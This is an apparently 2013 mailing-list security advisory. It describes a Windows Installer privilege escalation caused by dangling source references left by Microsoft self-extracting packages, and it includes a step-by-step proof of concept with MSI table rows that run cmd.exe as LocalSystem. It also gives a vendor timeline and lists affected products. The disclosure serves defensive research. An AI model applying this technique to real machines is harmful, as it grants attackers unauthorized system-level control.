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Date: Sat, 21 Sep 2013 23:06:13 +0200
From: "Stefan Kanthak" <stefan.kanthak@...go.de>
To: <bugtraq@...urityfocus.com>
Cc: full-disclosure@...ts.grok.org.uk
Subject: Defense in depth -- the Microsoft way (part 10)
Hi @ll,
all products, security patches and hotfixes distributed as self-
extracting packages (IExpress, "update.exe" etc.) which contain a
*.MSI or *.MSP leave dangling references to these files after their
installation.
"In certain situations ..." (see below) these dangling references
allow a privilege escalation.
Proof of concept (run on a fully patched Windows 7 SP1):
Step 0:
a) lögin as UNPRIVILEGED user.
Step 1:
a) download the IExpress package "CAPICOM-KB931906-v2102.exe" from
<http://www.microsoft.com/en-us/download/details.aspx?id=3207>
resp. <http://technet.microsoft.com/security/bulletin/ms07-028>
b) check/verify the Authenticode (digital) signature of the
downloaded "CAPICOM-KB931906-v2102.exe"
c) execute the downloaded "CAPICOM-KB931906-v2102.exe" (UAC will
ask for confirmation or prompt for administrative credentials):
* the IExpress installer unpacks its contents into the directory
"%TEMP%\IXP000.TMP\", calls MSIEXEC.EXE to install the unpacked
"capicom2.msi" and removes the temporary directory afterwards;
* MSIEXEC.EXE creates the following registry entries with dangling
references to the (later) deleted "capicom2.msi" in the removed
temporary directory:
[HKEY_CLASSES_ROOT\Installer\Products\9F2FDFE0D6387BE43AD230B83D1FBFA2\SourceList]
"PackageName"="capicom2.msi"
"LastUsedSource"=expand:"n;1;C:\\Users\\Owner\\AppData\\Local\\Temp\\IXP000.TMP\\"
[[HKEY_CLASSES_ROOT\Installer\Products\9F2FDFE0D6387BE43AD230B83D1FBFA2\SourceList\Media]
"DiskPrompt"="Security Update for CAPICOM (KB931906) Installation Disk"
"1"=";"
[HKEY_CLASSES_ROOT\Installer\Products\9F2FDFE0D6387BE43AD230B83D1FBFA2\SourceList\Net]
"1"=expand:"C:\\Users\\Owner\\AppData\\Local\\Temp\\IXP000.TMP\\"
[HKEY_CLASSES_ROOT\Microsoft\Windows\CurrentVersion\Uninstall\{0EFDF2F9-836D-4EB7-A32D-038BD3F1FB2A}]
"InstallSource"="C:\\Users\\Owner\\AppData\\Local\\Temp\\IXP000.TMP\\"
Step 2:
a) extract "capicom2.msi" from "CAPICOM-KB931906-v2102.exe"
(see <http://support.microsoft.com/kb/197147> for instructions).
b) recreate the directory "%TEMP%\IXP000.TMP\".
c) copy the extracted "capicom2.msi" to "%TEMP%\IXP000.TMP\".
d) check/verify the Authenticode (digital) signature of
"%TEMP%\IXP000.TMP\capicom2.msi".
e) open "%TEMP%\IXP000.TMP\capicom2.msi" with the .MSI editor of
your choice and insert (for example) the following column into
its 'registry' table:
REGKEY0,2,SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce,OUCH!,cmd.exe /k echo %CMDCMDLINE%,COM2000
or (for example) the following column into its 'CustomAction'
table:
OUCH!,3122,cmd.exe,/k title %USERDOMAIN%\%USERNAME%
f) check the Authenticode signature of the modified "capicom2.msi":
it is INVALID now!
g) execute "MSIEXEC.EXE /A %TEMP%\IXP000.TMP\capicom2.msi"
and follow the dialogs.
Especially notice that NO warning/hint about the broken/invalid
Authenticode signature is displayed!
OUCH!
Step 3:
a) read <http://support.microsoft.com/kb/944298>:
| In certain situations, Setup cannot find the .msi file in the
| Windows Installer cache. In these situations, Setup tries to
| resolve the source location by testing for the presence of the
| product installation in the last-used location when Setup was
| last run. If Setup cannot resolve the source location, the user
| is prompted to provide the installation media.
b) determine the name of the cached .MSI file, for example via:
REG.EXE "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData
\S-1-5-18\Products\9F2FDFE0D6387BE43AD230B83D1FBFA2\InstallProperties" /v "LocalPackage"
(its pathname is "%SystemRoot%\Installer\<random>.msi").
c) delete the cached .MSI file found in the substep before.
Yes, this needs administrative rights; but read MSKB 944298
again: "in certain situations ...".
I just enforce such a certain situation!
d) execute "MSIEXEC.EXE /fm {0EFDF2F9-836D-4EB7-A32D-038BD3F1FB2A}".
Again: NO warning/hint about the broken/invalid Authenticode
signature is displayed.
And: UAC does NOT prompt for confirmation or credentials!
If you added a column to the 'CustomAction' table CMD.EXE runs
and shows "NT AUTHORITY\SYSTEM" in its title bar.
e) execute
REG.EXE QUERY "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce" /v "OUCH!"
and conclude that the modified "%TEMP%\IXP000.TMP\capicom2.msi"
was run with administrative (really: "LocalSystem") privileges.
Timeline:
~~~~~~~~~
2008-04-09 informed vendor that MSKB 931906 creates dangling
references and MSIEXEC.EXE /f... prompts user for
location of capicom2.msi
2008-04-11 vendor asked: "have you tried removing the update via
Add/Remove Programs and then re-installing?"
2008-04-11 replied to vendor: that's NOT the point here
... no more answer!
2013-05-20 next try...
stay tuned
Stefan Kanthak
PS: as examples for other self-extracting packages use
"msxml4-KB2758694-enu.exe" and "msxml6-KB2758696-enu-x86.exe",
available from
<http://www.microsoft.com/en-us/download/details.aspx?id=36292> and
<http://www.microsoft.com/en-us/download/details.aspx?id=36316> resp.
<http://technet.microsoft.com/security/bulletin/MS13-002>,
which create the following registry entries:
[HKEY_CLASSES_ROOT\Installer\Products\745017A5E85BB88428D8ACA9520A35C3\SourceList]
"PackageName"="msxml6.msi"
"LastUsedSource"=expand:"n;1;c:\\c3d7dd340cec94ff5838ba93\\"
[HKEY_CLASSES_ROOT\Installer\Products\745017A5E85BB88428D8ACA9520A35C3\SourceList\Media]
"DiskPrompt"="[1]"
"1"=";"
[HKEY_CLASSES_ROOT\Installer\Products\745017A5E85BB88428D8ACA9520A35C3\SourceList\Net]
"1"=expand:"c:\\c3d7dd340cec94ff5838ba93\\"
Other products which exhibit the same problem are (not exhaustive, in
no particular order):
1. Microsoft Security Essentials
[HKEY_CLASSES_ROOT\Installer\Products\000021599B0090400000000000F01FEC\SourceList]
"PackageName"="dw20shared.msi"
"LastUsedSource"=expand:"n;1;c:\\62bf30c6a367eb52738a55\\x86\\"
[HKEY_CLASSES_ROOT\Installer\Products\000021599B0090400000000000F01FEC\SourceList\Media]
"DiskPrompt"="Microsoft Application Error Reporting"
"1"="OFFICE12;1"
[HKEY_CLASSES_ROOT\Installer\Products\000021599B0090400000000000F01FEC\SourceList\Net]
"1"=expand:"c:\\62bf30c6a367eb52738a55\\x86\\"
"2"=expand:"C:\\Program Files\\Microsoft Security Client\\Backup\\"
[HKEY_CLASSES_ROOT\Installer\Products\BB8DD09375BB24940A92D219E3E4D947\SourceList]
"PackageName"="epp.msi"
"LastUsedSource"=expand:"n;1;c:\\0d149c673ede07404629f38d05a7\\x86\\"
[HKEY_CLASSES_ROOT\Installer\Products\BB8DD09375BB24940A92D219E3E4D947\SourceList\Media]
"1"=";"
[HKEY_CLASSES_ROOT\Installer\Products\BB8DD09375BB24940A92D219E3E4D947\SourceList\Net]
"1"=expand:"C:\\0d149c673ede07404629f38d05a7\\x86\\"
"2"=expand:"C:\\Program Files\\Microsoft Security Client\\Backup\\"
2. .NET Framework 1.1
[HKEY_CLASSES_ROOT\Installer\Products\DDE7F2BCF1D91C3409CFF425AE1E271A\SourceList]
"PackageName"="netfx.msi"
"LastUsedSource"=expand:"n;1;C:\\DOCUME~1\\Owner\\LOCALS~1\\Temp\\IXP000.TMP\\"
[HKEY_CLASSES_ROOT\Installer\Products\DDE7F2BCF1D91C3409CFF425AE1E271A\SourceList\Media]
"DiskPrompt"="[1]"
"1"=";Microsoft .NET Framework 1.1 [Disk 1]"
...
"21"="URTSTDD1;Microsoft .NET Framework 1.1 [Disk 1]"
...
[HKEY_CLASSES_ROOT\Installer\Products\DDE7F2BCF1D91C3409CFF425AE1E271A\SourceList\Net]
"1"=expand:"C:\\DOCUME~1\\Owner\\LOCALS~1\\Temp\\IXP000.TMP\\"
[HKEY_CLASSES_ROOT\Installer\Patches\7FCDE114D557E4147AB4D3DC56385F98\SourceList]
"PackageName"="tmp517.tmp"
"LastUsedSource"=expand:"n;1;C:\\DOCUME~1\\Owner\\LOCALS~1\\Temp\\IXP000.TMP\\"
[HKEY_CLASSES_ROOT\Installer\Patches\7FCDE114D557E4147AB4D3DC56385F98\SourceList\Media]
"DiskPrompt"="[1]"
"20872"=";Microsoft .NET Framework 1.1 Service Pack 1 (KB867460)"
[HKEY_CLASSES_ROOT\Installer\Patches\7FCDE114D557E4147AB4D3DC56385F98\SourceList\Net]
"1"=expand:"C:\\DOCUME~1\\Owner\\LOCALS~1\\Temp\\IXP000.TMP\\"
...
3. Visual C++ 2005 Redistributable 8.0.56336
[HKEY_CLASSES_ROOT\Installer\Products\b25099274a207264182f8181add555d0\SourceList]
"PackageName"="vcredist.msi"
"LastUsedSource"=expand:"n;1;C:\\Users\\Owner\\AppData\\Local\\Temp\\IXP001.TMP\\"
[HKEY_CLASSES_ROOT\Installer\Products\b25099274a207264182f8181add555d0\SourceList\Media]
1=";Microsoft Visual C++ 2005 Redistributable [Disk 1]"
DiskPrompt="[1]"
[HKEY_CLASSES_ROOT\Installer\Products\b25099274a207264182f8181add555d0\SourceList\Net]
"1"=expand:"C:\\Users\\Owner\\AppData\\Local\\Temp\\IXP001.TMP\\"
4. Visual C++ 2005 Redistributable (x64) 8.0.59192
"PackageName"="vcredist.msi"
"LastUsedSource"=expand:"n;1;C:\\Users\\Owner\\AppData\\Local\\Temp\\IXP001.TMP\\"
5. Visual C++ 2005 Redistributable (x64) 8.0.61000
"PackageName"="vcredist.msi"
"LastUsedSource"=expand:"n;1;C:\\Users\\Owner\\AppData\\Local\\Temp\\IXP000.TMP\\"
6. Virtual PC 2007 Service Pack 1
[HKEY_CLASSES_ROOT\Installer\Products\899384DAA9E2504438FFE605A34FC9BB\SourceList]
"PackageName"="Virtual_PC_2007_Install.msi"
"LastUsedSource"="n;1;C:\\Users\\Owner\\AppData\\Local\\Temp\\IXP000.TMP\\"
[HKEY_CLASSES_ROOT\Installer\Products\899384DAA9E2504438FFE605A34FC9BB\SourceList\Media]
"1"=";"
[HKEY_CLASSES_ROOT\Installer\Products\899384DAA9E2504438FFE605A34FC9BB\SourceList\Net]
"1"=expand:"C:\\Users\\Owner\\AppData\\Local\\Temp\\IXP000.TMP\\"
[HKEY_CLASSES_ROOT\Installer\Patches\F932FFF94C172E04DAC6E2E68C62E958\SourceList]
"PackageName"="KB958162.msp"
"LastUsedSource"=expand:"n;1;C:\\Users\\Owner\\Downloads\\"
[HKEY_CLASSES_ROOT\Installer\Patches\F932FFF94C172E04DAC6E2E68C62E958\SourceList\Media]
"100"=";"
[HKEY_CLASSES_ROOT\Installer\Patches\F932FFF94C172E04DAC6E2E68C62E958\SourceList\Net]
"1"=expand:"C:\\Users\\Owner\\Downloads\\"
"2"=expand:"PatchSourceList"
7. Windows Media Player Firefox Plugin
[HKEY_CURRENT_USER\Software\Microsoft\Installer\Products\6BBFDF96D153C8B4988D68D79C0D2A4A\SourceList]
"PackageName"="ffplugin.msi"
"LastUsedSource"="n;1;C:\\Users\\Owner\\AppData\\Local\\Temp\\IXP000.TMP\\"
[HKEY_CURRENT_USER\Software\Microsoft\Installer\Products\6BBFDF96D153C8B4988D68D79C0D2A4A\SourceList\Media]
"DiskPrompt"="Windows Media Player Firefox Plugin Installation"
"1"=";CD-ROM #1"
[HKEY_CURRENT_USER\Software\Microsoft\Installer\Products\6BBFDF96D153C8B4988D68D79C0D2A4A\SourceList\Net]
"1"=expand:"C:\\Users\\Owner\\AppData\\Local\\Temp\\IXP000.TMP\\"
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